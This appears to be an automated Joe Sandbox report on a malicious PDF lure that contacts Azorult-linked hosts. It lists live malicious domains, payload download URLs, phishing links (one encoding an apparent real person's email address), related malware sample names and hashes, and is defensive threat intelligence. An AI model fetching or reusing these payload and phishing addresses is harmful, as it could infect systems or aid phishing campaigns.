50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
108.181.20.39	files.catbox.moe	Canada	852	ASN852CA	false
172.67.159.45	h8m5b.shop	United States	13335	CLOUDFLARENETUS	true
217.160.121.141	unknown	Germany	8560	ONEANDONE-ASBrauerstrasse48DE	true
239.255.255.250	unknown	Reserved	unknown	unknown	false
23.56.162.185	unknown	United States	16625	AKAMAI-ASUS	false
142.250.184.228	www.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.16
192.168.2.6

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1525377
Start date and time:	2024-10-04 04:26:34 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 20s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowspdfcookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	22
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Refrence-Order#63729.pdf
Detection:	MAL
Classification:	mal100.phis.troj.spyw.expl.winPDF@57/112@12/8
Cookbook Comments:	Found application associated with file extension: .pdf Found PDF document Close Viewer

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, WmiPrvSE.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 34.193.227.236, 107.22.247.231, 18.207.85.246, 54.144.73.197, 162.159.61.3, 172.64.41.3, 2.19.126.143, 2.19.126.149, 2.23.197.184, 93.184.221.240, 192.229.221.95, 142.250.186.67, 142.250.185.174, 142.251.173.84, 34.104.35.123, 216.58.206.74, 142.250.181.234, 142.250.186.138, 142.250.185.138, 172.217.18.106, 142.250.184.234, 142.250.185.170, 142.250.186.170, 172.217.23.106, 142.250.185.234, 142.250.185.74, 142.250.185.106, 142.250.185.202, 142.250.184.202, 142.250.186.74, 172.217.16.202, 142.250.186.163, 142.250.186.174
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, clientservices.googleapis.com, acroipm2.adobe.com, wu.azureedge.net, clients2.google.com, ocsp.digicert.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, bg.apr-52dd2-0503.edgecastdns.net, cs11.wpc.v0cdn.net, hlb.apr-52dd2-0.edgecastdns.net, update.googleapis.com, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, optimizationguide-pa.googleapis.com, clients1.google.com, client.wns.windows.com, fs.microsoft.com, accounts.google.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com.delivery.microsoft.com, wu.ec.azureedge.net, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, edgedl.me.gvt1.com, clients.l.google.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
22:27:41	API Interceptor	2x Sleep call for process: AcroCEF.exe modified
22:27:56	API Interceptor	15x Sleep call for process: powershell.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
108.181.20.39	KYwOaWhyl6.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	TJWbSGBK0I.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	Cr4745ElZg.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	SecuriteInfo.com.W32.MSIL_Kryptik.HJS.gen.Eldorado.12185.30777.exe	Get hash	malicious	AgentTesla	Browse
	umt2VrxO1p.exe	Get hash	malicious	RHADAMANTHYS, Xmrig	Browse
	yu16WOoyIo.exe	Get hash	malicious	Stealc, Vidar	Browse
	ukblYY5q1S.exe	Get hash	malicious	Xmrig	Browse
	SecuriteInfo.com.Win32.PWSX-gen.6456.26562.exe	Get hash	malicious	Lokibot	Browse
	9785eec1ff877367352742e441815f7f7372615e463e3.exe	Get hash	malicious	Clipboard Hijacker, RedLine	Browse
239.255.255.250	http://144.126.159.102	Get hash	malicious	Unknown	Browse
	http://1drv.ms/o/c/fdad16d5f2338a27/Eo8O_nGS-PdFnAhpolmsW1cBd-Jv5WSSl5AjZZuAQUSXNw?e=5%3aI9hXvq&sharingv2=true&fromShare=true&at=9	Get hash	malicious	Unknown	Browse
	http://144.126.159.102:8080/loader	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	2FA Updating-2226-YZW.pdf	Get hash	malicious	Unknown	Browse
	http://gruasphenbogota.com	Get hash	malicious	Unknown	Browse
	https://microsoftonlineworking.pages.dev/#?email=YW5kcmV3X2hvbHRAdGFjLnZpYy5nb3YuYXU=	Get hash	malicious	ReCaptcha Phish	Browse
	https://microsoftonlineworking.pages.dev/#?email=YW5kcmV3X2hvbHRAdGFjLnZpYy5nb3YuYXU=	Get hash	malicious	ReCaptcha Phish	Browse
	PRODUCTTS SPECIFICATIONS.shtml	Get hash	malicious	HTMLPhisher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
23.56.162.185	DV2mrnfX2d.exe	Get hash	malicious	Rhysida	Browse
	Xkci1BfrmX.lnk	Get hash	malicious	LonePage	Browse
	Snc2ZNvAZP.pdf	Get hash	malicious	Unknown	Browse
	Purchase Order IBT LPO-2320.eml	Get hash	malicious	Unknown	Browse
	Final_Contract_Copy-532392974.pdf	Get hash	malicious	Unknown	Browse
	Cbequipment-Voice Audio Interface.pdf	Get hash	malicious	HTMLPhisher	Browse
	Runbook - Carolinas Animal Hospital - 2022-05-25 11.28 UTC -04.00.pdf	Get hash	malicious	Unknown	Browse
	Hajj_Advisory pdf lnk.lnk	Get hash	malicious	Unknown	Browse
	blockchair_statement.pdf.lnk	Get hash	malicious	Unknown	Browse
	Signed_Revised_Contract_See also 19_Lgunning_Carisls_Required_Signature.pdf	Get hash	malicious	Unknown	Browse
172.67.159.45	Order-63729_Reference.bat	Get hash	malicious	Azorult	Browse	h8m5b.shop/ML341/index.php
217.160.121.141	Order-63729_Reference.bat	Get hash	malicious	Azorult	Browse	217.160.121.141:8030/5643254657/Order-63729r.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
files.catbox.moe	KYwOaWhyl6.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	108.181.20.39
	TJWbSGBK0I.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	108.181.20.39
	Cr4745ElZg.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	108.181.20.39
	output.lnk.download.lnk	Get hash	malicious	Unknown	Browse	108.181.20.37
	Slip konfirmasi pembayaran 06062024.exe	Get hash	malicious	Unknown	Browse	108.181.20.37
	Slip konfirmasi pembayaran 06062024.exe	Get hash	malicious	Unknown	Browse	108.181.20.37
	Products inquiries #000vn988.exe	Get hash	malicious	Unknown	Browse	108.181.20.37
	Products inquiries #000vn988.exe	Get hash	malicious	Unknown	Browse	108.181.20.37
h8m5b.shop	Order-63729_Reference.bat	Get hash	malicious	Azorult	Browse	172.67.159.45
h8m5b.shop	SN890156.exe	Get hash	malicious	Azorult, GuLoader	Browse	104.21.14.133

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AKAMAI-ASUS	file.exe	Get hash	malicious	LummaC, Vidar	Browse	104.102.49.254
	file.exe	Get hash	malicious	RDPWrap Tool, Amadey, Socks5Systemz, Stealc, Vidar, Xmrig	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	104.102.49.254
	Full-Setup.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	https://click.agilitypr.delivery/ls/click?upn=u001.eiLrPCkKKjApnPIr0I-2BsRfkpzjEGhTCoHqG09iolrdhlMYGCOo2Nd-2FxjkEBEx2ILarmVrzugxvL3mzK8oRbzmw-2Fc8MlnUZ-2Fr7oFdK8O5ZPNkRNGBT2B5w7-2BPGYsDVJaX7Ju4_CsMjdMvVCH8VnXX4Gfqu2d-2F8dUxANUAZ6i0guRxOZ16SBn-2BfWKPYCJ4k-2FRayz-2B7dgj-2Fry3pp6bh27tMOonGdCv5tjKX-2BF3xoFuSqeM2q0ggzsiKdwHoy3hTh08ynmZWbcBa2wQancmLCRha7gIvuGF-2BaYXuvGrIxnmpxoXmMm6ir51qvGKOvNKdK5IH4SYf35X5Wd-2Fs6YZWP8vKqWmGP1KToK5-2FGS-2BKn-2Bf84fcBuTdvvkjO8NEF5Bpt9hfpdVjRN-2FV0yMk97PXeyRMLgSEmwvvB4CTAjLo1gEwkG7vxhEAXXg1bNDHaxOZEzcIkoAbp8oMfK5YrMDngcc0JjC3pXeoycPv9IyLICjZ-2BgbU8HA-2BOjvDkAcylLxTWsU8lsqYTGnTfslidP4BMlB0nIxXCbcq4-2FLoVs6F-2Fhdrhdj9zy6VM-3D	Get hash	malicious	HTMLPhisher	Browse	23.208.149.146
	msvcp110.dll	Get hash	malicious	LummaC	Browse	104.102.49.254
	msvcp110.dll	Get hash	malicious	LummaC	Browse	104.102.49.254
	teracopy.exe	Get hash	malicious	Unknown	Browse	184.28.90.27
	COVID-19.pdf	Get hash	malicious	PDFPhish	Browse	23.217.172.185
	carrier_ratecon.exe	Get hash	malicious	LummaC	Browse	23.192.247.89
ASN852CA	1.cmd	Get hash	malicious	Unknown	Browse	108.181.98.179
	novo.mips.elf	Get hash	malicious	Mirai, Moobot	Browse	50.92.37.126
	yakov.ppc.elf	Get hash	malicious	Mirai	Browse	108.173.125.68
	OXrZ6fj4Hq.exe	Get hash	malicious	Neshta, Oski Stealer, StormKitty, SugarDump, Vidar, XWorm	Browse	108.181.149.86
	mtgjyX9gHF.exe	Get hash	malicious	Quasar	Browse	108.181.98.179
	KYwOaWhyl6.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	108.181.20.39
	TJWbSGBK0I.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	108.181.20.39
	Cr4745ElZg.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	108.181.20.39
	SecuriteInfo.com.Linux.Siggen.9999.28931.8128.elf	Get hash	malicious	Mirai	Browse	161.187.154.36
ONEANDONE-ASBrauerstrasse48DE	vb.vbs	Get hash	malicious	AsyncRAT, PureLog Stealer	Browse	195.20.249.118
	http://Warehousingpro.com	Get hash	malicious	Unknown	Browse	74.208.236.23
	Order-63729_Reference.bat	Get hash	malicious	Azorult	Browse	217.160.121.141
	https://booking.com-partners.one/confirm/login/qAlElVVF	Get hash	malicious	Unknown	Browse	212.227.67.33
	P030092024LANDWAY.exe	Get hash	malicious	FormBook	Browse	217.160.0.158
	http://t-onlinogenx.vercel.app/	Get hash	malicious	Unknown	Browse	195.20.250.204
	https://id-ionos.premiumservicesrl.com/pass.php	Get hash	malicious	Unknown	Browse	195.20.250.192
	https://id-ionos.premiumservicesrl.com/?e=redacted@abuse.ionos.com	Get hash	malicious	Unknown	Browse	217.160.86.163
	http://www.therainbowfrog.com/SharePointProposalFile/	Get hash	malicious	Unknown	Browse	198.71.63.133
CLOUDFLARENETUS	http://144.126.159.102	Get hash	malicious	Unknown	Browse	104.26.14.193
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	104.21.93.202
	https://microsoftonlineworking.pages.dev/#?email=YW5kcmV3X2hvbHRAdGFjLnZpYy5nb3YuYXU=	Get hash	malicious	ReCaptcha Phish	Browse	104.16.79.73
	https://microsoftonlineworking.pages.dev/#?email=YW5kcmV3X2hvbHRAdGFjLnZpYy5nb3YuYXU=	Get hash	malicious	ReCaptcha Phish	Browse	104.19.230.21
	PRODUCTTS SPECIFICATIONS.shtml	Get hash	malicious	HTMLPhisher	Browse	104.18.25.163
	http://advertising-copyright-review.d64x5m2z8s6x8.amplifyapp.com	Get hash	malicious	Unknown	Browse	172.67.75.166
	ra66DSpa.exe	Get hash	malicious	XWorm	Browse	104.20.4.235
	https://link.edgepilot.com/s/527f3b22/IsEZW0vVpU28AdY1bja1GQ?u=https://securemail.wf.com/s/e?m=ABDLG7Db88ZOC03NJzhZQA0p%26c=ABCnBKdwqhBBe4jHrIQNGJMj	Get hash	malicious	Unknown	Browse	104.18.10.207
	file.exe	Get hash	malicious	RDPWrap Tool, Amadey, Socks5Systemz, Stealc, Vidar, Xmrig	Browse	104.26.3.46
	https://www.sexpartnercommunity.com/?e7ak3e0m=57296397&tba4bck7=eyJpdiI6Imp1cHMxdGJERWI4SjBwNVYvSWdWeHc9PSIsInZhbHVlIjoiSGhGdTY1TlFyN1JJQm03UEJhZGZxQjV2NncyZ0JWajdJZnRWaWNBZlM2dzVxV05KdGx3TXZaaURxZzgraDNUYURDK2EwcFUra28rNEE2YTdRYWRhdFdwQkxaL09xeDRCVUt0Rm1IT3cxa3hPd1huM3FkN3NzNS9BYjEwV2hOY3dzblZ6TW1TaUdDeXBOTG9zc2FtU0VZKzhNeVgzS1FkTnE3WnA5NUZqWXJTQkVaNlN1UmUrZFFTUlZzZ05pbVlnIiwibWFjIjoiOTFjZDc5Y2FhNTBkNGYyYWYzZDRiYzhlYjljMjZmYTE1MzBhNGI2MmQ0NTFhYmYyZmVjN2IwMGUyNmFlNjU3MCIsInRhZyI6IiJ9&spaRoute=/livecams/all&trk=toza80h	Get hash	malicious	Unknown	Browse	172.64.149.46

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	http://144.126.159.102	Get hash	malicious	Unknown	Browse	172.202.163.200 184.28.90.27
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	172.202.163.200 184.28.90.27
	http://1drv.ms/o/c/fdad16d5f2338a27/Eo8O_nGS-PdFnAhpolmsW1cBd-Jv5WSSl5AjZZuAQUSXNw?e=5%3aI9hXvq&sharingv2=true&fromShare=true&at=9	Get hash	malicious	Unknown	Browse	172.202.163.200 184.28.90.27
	http://144.126.159.102:8080/loader	Get hash	malicious	Unknown	Browse	172.202.163.200 184.28.90.27
	file.exe	Get hash	malicious	Credential Flusher	Browse	172.202.163.200 184.28.90.27
	2FA Updating-2226-YZW.pdf	Get hash	malicious	Unknown	Browse	172.202.163.200 184.28.90.27
	https://microsoftonlineworking.pages.dev/#?email=YW5kcmV3X2hvbHRAdGFjLnZpYy5nb3YuYXU=	Get hash	malicious	ReCaptcha Phish	Browse	172.202.163.200 184.28.90.27
	PRODUCTTS SPECIFICATIONS.shtml	Get hash	malicious	HTMLPhisher	Browse	172.202.163.200 184.28.90.27
	file.exe	Get hash	malicious	Credential Flusher	Browse	172.202.163.200 184.28.90.27
	http://advertising-copyright-review.d64x5m2z8s6x8.amplifyapp.com	Get hash	malicious	Unknown	Browse	172.202.163.200 184.28.90.27
3b5074b1b5d032e5620f69f9f700ff0e	ra66DSpa.exe	Get hash	malicious	XWorm	Browse	40.113.110.67
	https://www.sexpartnercommunity.com/?e7ak3e0m=57296397&tba4bck7=eyJpdiI6Imp1cHMxdGJERWI4SjBwNVYvSWdWeHc9PSIsInZhbHVlIjoiSGhGdTY1TlFyN1JJQm03UEJhZGZxQjV2NncyZ0JWajdJZnRWaWNBZlM2dzVxV05KdGx3TXZaaURxZzgraDNUYURDK2EwcFUra28rNEE2YTdRYWRhdFdwQkxaL09xeDRCVUt0Rm1IT3cxa3hPd1huM3FkN3NzNS9BYjEwV2hOY3dzblZ6TW1TaUdDeXBOTG9zc2FtU0VZKzhNeVgzS1FkTnE3WnA5NUZqWXJTQkVaNlN1UmUrZFFTUlZzZ05pbVlnIiwibWFjIjoiOTFjZDc5Y2FhNTBkNGYyYWYzZDRiYzhlYjljMjZmYTE1MzBhNGI2MmQ0NTFhYmYyZmVjN2IwMGUyNmFlNjU3MCIsInRhZyI6IiJ9&spaRoute=/livecams/all&trk=toza80h	Get hash	malicious	Unknown	Browse	40.113.110.67
	http://masdeliveryusa.com/	Get hash	malicious	Unknown	Browse	40.113.110.67
	file.exe	Get hash	malicious	Credential Flusher	Browse	40.113.110.67
	tMREqVW0.exe	Get hash	malicious	XWorm	Browse	40.113.110.67
	https://wvr4dgzxxavl6jjpq7rl.igortsaplin.pro/WFzFCiNx	Get hash	malicious	HTMLPhisher	Browse	40.113.110.67
	wSVyC8FY.exe	Get hash	malicious	XWorm	Browse	40.113.110.67
	https://ahchoadeegu.homes?u=k8pp605&o=c9ewtnr&t=8845	Get hash	malicious	Unknown	Browse	40.113.110.67
	YxRMWWHAA2.exe	Get hash	malicious	DCRat	Browse	40.113.110.67
	Purchase Order.exe	Get hash	malicious	AgentTesla	Browse	40.113.110.67

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-datetime-l1-1-0.dll	Order-63729_Reference.bat	Get hash	malicious	Azorult	Browse
	Payment Advice Note_Pdf.exe	Get hash	malicious	Azorult, GuLoader	Browse
	HSBC_Payment.exe	Get hash	malicious	Azorult, GuLoader	Browse
	Est_US091024A - PICTURE.exe	Get hash	malicious	Azorult, GuLoader	Browse
	SwiftMesaj.pdf.exe	Get hash	malicious	Azorult, GuLoader	Browse
	SN890156.exe	Get hash	malicious	Azorult, GuLoader	Browse
	Unincriminated.exe	Get hash	malicious	Azorult, GuLoader	Browse
	PO#940894.exe	Get hash	malicious	Azorult, GuLoader	Browse
	Opgaveforlb.exe	Get hash	malicious	Azorult, GuLoader	Browse
C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-console-l1-1-0.dll	Order-63729_Reference.bat	Get hash	malicious	Azorult	Browse
	Payment Advice Note_Pdf.exe	Get hash	malicious	Azorult, GuLoader	Browse
	HSBC_Payment.exe	Get hash	malicious	Azorult, GuLoader	Browse
	Est_US091024A - PICTURE.exe	Get hash	malicious	Azorult, GuLoader	Browse
	SwiftMesaj.pdf.exe	Get hash	malicious	Azorult, GuLoader	Browse
	SN890156.exe	Get hash	malicious	Azorult, GuLoader	Browse
	Unincriminated.exe	Get hash	malicious	Azorult, GuLoader	Browse
	PO#940894.exe	Get hash	malicious	Azorult, GuLoader	Browse
	Opgaveforlb.exe	Get hash	malicious	Azorult, GuLoader	Browse

Created / dropped Files

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	298
Entropy (8bit):	5.16170214628803
Encrypted:	false
SSDEEP:	6:gTtlWM+q2PN72nKuAl9OmbnIFUt8l1Zmw+zWMVkwON72nKuAl9OmbjLJ:gT7L+vVaHAahFUt8H/+zLV5OaHAaSJ
MD5:	5A61FE40F4698076CACF2530634C4481
SHA1:	E1B25868344365D94529AAD3324BB37FD1E99C9C
SHA-256:	5C538080552EFF8C82EFC7323BE92C54397AA2C5E943F70D1A1021B3E4C6BEB7
SHA-512:	DEA3006FC74B1155B2AB4CE8577F4BD0B2AADE3B09CB3760C676383B133C9259BDEF91708051A2EC2A40E3AAACEC966FE50567E16BCB5757E4B65731EEB65902
Malicious:	false
Preview:	2024/10/03-22:27:28.442 161c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2024/10/03-22:27:28.444 161c Recovering log #3.2024/10/03-22:27:28.444 161c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	298
Entropy (8bit):	5.16170214628803
Encrypted:	false
SSDEEP:	6:gTtlWM+q2PN72nKuAl9OmbnIFUt8l1Zmw+zWMVkwON72nKuAl9OmbjLJ:gT7L+vVaHAahFUt8H/+zLV5OaHAaSJ
MD5:	5A61FE40F4698076CACF2530634C4481
SHA1:	E1B25868344365D94529AAD3324BB37FD1E99C9C
SHA-256:	5C538080552EFF8C82EFC7323BE92C54397AA2C5E943F70D1A1021B3E4C6BEB7
SHA-512:	DEA3006FC74B1155B2AB4CE8577F4BD0B2AADE3B09CB3760C676383B133C9259BDEF91708051A2EC2A40E3AAACEC966FE50567E16BCB5757E4B65731EEB65902
Malicious:	false
Preview:	2024/10/03-22:27:28.442 161c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2024/10/03-22:27:28.444 161c Recovering log #3.2024/10/03-22:27:28.444 161c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.1787793734616985
Encrypted:	false
SSDEEP:	6:rAQ+q2PN72nKuAl9Ombzo2jMGIFUt8MEAgZmw+0dNAQVkwON72nKuAl9Ombzo2jz:UVvVaHAa8uFUt8Mpg/+kSI5OaHAa8RJ
MD5:	90AFFB54146799253F05241742A407A1
SHA1:	16F674633DBEAB99F9F1434B093780E9D19972A4
SHA-256:	5493D01B9F2DF202904C2423C1DF5A709DFA424DBAA13E63F5669C425B40373A
SHA-512:	F2AA2B295802F3C48BA1F515498D609F5AA8C577D25CAD121BC43989A0DDA7BEF4E2148EC78072CBD2D2DF477808217B3CBFE7FA50370926974ACAB80E0569B2
Malicious:	false
Preview:	2024/10/03-22:27:28.476 1648 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2024/10/03-22:27:28.477 1648 Recovering log #3.2024/10/03-22:27:28.478 1648 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.1787793734616985
Encrypted:	false
SSDEEP:	6:rAQ+q2PN72nKuAl9Ombzo2jMGIFUt8MEAgZmw+0dNAQVkwON72nKuAl9Ombzo2jz:UVvVaHAa8uFUt8Mpg/+kSI5OaHAa8RJ
MD5:	90AFFB54146799253F05241742A407A1
SHA1:	16F674633DBEAB99F9F1434B093780E9D19972A4
SHA-256:	5493D01B9F2DF202904C2423C1DF5A709DFA424DBAA13E63F5669C425B40373A
SHA-512:	F2AA2B295802F3C48BA1F515498D609F5AA8C577D25CAD121BC43989A0DDA7BEF4E2148EC78072CBD2D2DF477808217B3CBFE7FA50370926974ACAB80E0569B2
Malicious:	false
Preview:	2024/10/03-22:27:28.476 1648 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2024/10/03-22:27:28.477 1648 Recovering log #3.2024/10/03-22:27:28.478 1648 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.966895279106768
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqC1JyhsBdOg2HOcaq3QYiubcP7E4T3y:Y2sRdsZWydMHx3QYhbA7nby
MD5:	5E7724D1858490DA90A47B928CA1A6AB
SHA1:	47B311B0C9AA665FD4AE38B361D68BB4185C632B
SHA-256:	698474CEDFDF944CCB9DE67FFBDC9FD9A68E3DF72944151AF6E03FCEA930DC93
SHA-512:	EA5E8B418393FF05AD4BBFBC127E6917D81A37DB5C92F3F83282212B90CAD3BE8B9CD2841BE3D27794A170979F193A223F3E6DAF527B7D78E9253F80AB2721EC
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13372568861115646","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":122980},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\cfe27c23-0bef-4f43-9cb2-79e0c297b5d2.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.966895279106768
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqC1JyhsBdOg2HOcaq3QYiubcP7E4T3y:Y2sRdsZWydMHx3QYhbA7nby
MD5:	5E7724D1858490DA90A47B928CA1A6AB
SHA1:	47B311B0C9AA665FD4AE38B361D68BB4185C632B
SHA-256:	698474CEDFDF944CCB9DE67FFBDC9FD9A68E3DF72944151AF6E03FCEA930DC93
SHA-512:	EA5E8B418393FF05AD4BBFBC127E6917D81A37DB5C92F3F83282212B90CAD3BE8B9CD2841BE3D27794A170979F193A223F3E6DAF527B7D78E9253F80AB2721EC
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13372568861115646","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":122980},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	5859
Entropy (8bit):	5.252619367054645
Encrypted:	false
SSDEEP:	96:av+Nkkl+2GAouz3z3xfNLUS3vHp5OuDzUrMzh28qXAXFP74LRXOtW7ANwE74wk9Y:av+Nkkl+2G1uz3zhfZUyPp5OuDzUwzhf
MD5:	3218505CC36E1219504FD13833E07F5D
SHA1:	2D43C79B4FCD65F1AD222B082C5C92BB453DEB3A
SHA-256:	FEE724CCB1CEA79C533A37F1F7624C9F31AE2073537584199A780D10A89D3D64
SHA-512:	E1490F087D37CAA10E870DEF2E11845D4F5ED86C7725102D3DDDB7545FB09DBC869C7F24AE37554AB4B545893E4729B14CF7A9F8752A501961D3CE2C338C610E
Malicious:	false
Preview:	*...#................version.1..namespace-.X.Bo................next-map-id.1.Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/.0.>j.r................next-map-id.2.Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/.1.J.4r................next-map-id.3.Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/.2..J.o................next-map-id.4.Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.3..M.^...............Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/..d.^...............Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.u..a...............Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/..`aa...............Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/`v.Yo................next-map-id.5.Pnamespace-30587558_ed88_4bd8_adc0_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.194635390814202
Encrypted:	false
SSDEEP:	6:weAQ+q2PN72nKuAl9OmbzNMxIFUt8ruFAgZmw+FUfNAQVkwON72nKuAl9OmbzNMT:aVvVaHAa8jFUt8y6g/+FpI5OaHAa84J
MD5:	5E58AB65E459C651E5634035440F7D4F
SHA1:	BD87A2212B8B3E8B45CD81043267D1D81CEDDFDC
SHA-256:	C16E76F24A2BF90295297E5BC42E7D6B289699C515DD266B1A068E9EDB862054
